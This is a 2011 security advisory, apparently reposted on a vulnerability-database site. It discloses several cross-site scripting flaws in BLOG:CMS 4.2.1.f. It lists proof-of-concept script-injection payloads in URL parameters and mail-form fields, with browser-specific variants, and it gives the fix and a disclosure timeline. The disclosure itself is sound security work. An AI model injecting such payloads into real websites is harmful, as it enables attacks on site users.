Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:26470
HistoryJun 08, 2011 - 12:00 a.m.

Multiple Cross-Site Scripting vulnerabilities in BLOG:CMS

2011-06-0800:00:00
vulners.com
130

Advisory: Multiple Cross-Site Scripting vulnerabilities in BLOG:CMS
Advisory ID: SSCHADV2011-007
Author: Stefan Schurtz
Affected Software: Successfully tested on: version 4.2.1.f
Vendor URL: http://www.blogcms.com
Vendor Status: resolved
CVE-ID: -

==========================
Vulnerability Description:

This is a Cross-Site Scripting vulnerability

==================
Technical Details:

Firefox 3.6.17

http://www.example.com/blogcms/photo/index.php?"<script>alert(0x0029A)</script>
http://www.example.com/blogcms/photo/index.php?"<script>alert('XSS');</script>

http://www.example.com/blogcms/photo/templates/admin_default/confirm.tpl.php?nsextt="<script>alert('XSS');</script>
http://www.example.com/blogcms/photo/templates/admin_default/confirm.tpl.php?nsextt="<script>alert(0x0029A)</script>

http://www.example.com/blogcms/admin/plugins/mailtoafriend/mailfriend.php

From [email]: <script>alert('XSS');</script>
To [email]: <script>alert('XSS');</script>
To [name]: <script>alert('XSS');</script>

Firefox 4.0.1 / IE8

http://www.example.com/blogcms/photo/index.php?&quot;&lt;/script&gt;&lt;script&gt;alert&#40;&#39;XSS&#39;&#41;;&lt;/script&gt;
http://www.example.com/blogcms/photo/index.php?&quot;&lt;/script&gt;&lt;script&gt;alert&#40;0x0029A&#41;&lt;/script&gt;

http://www.example.com/blogcms/photo/templates/admin_default/confirm.tpl.php?nsextt=&quot;&lt;/script&gt;&lt;script&gt;alert&#40;&#39;XSS&#39;&#41;;&lt;/script&gt;
http://www.example.com/blogcms/photo/templates/admin_default/confirm.tpl.php?nsextt=&quot;&lt;/script&gt;&lt;script&gt;alert&#40;0x0029A&#41;&lt;/script&gt;

http://www.example.com/blogcms/admin/plugins/mailtoafriend/mailfriend.php

From [email]: </script><script>alert('XSS');</script>
To [email]: </script><script>alert('XSS');</script>
To [name]: </script><script>alert('XSS');</script>

=========
Solution:

Update to the latest version 4.2.1.g

====================
Disclosure Timeline:

03-Jun-2011 - informed developers
03-Jun-2011 - release date of this security advisory
06-Jun-2011 - new version 4.2.1.g released
07-Jun-2011 - post on BugTraq and Full-disclosure

========
Credits:

Vulnerabilities found and advisory written by Stefan Schurtz.

===========
References:

http://www.blogcms.com
http://www.rul3z.de/advisories/SSCHADV2011-007.txt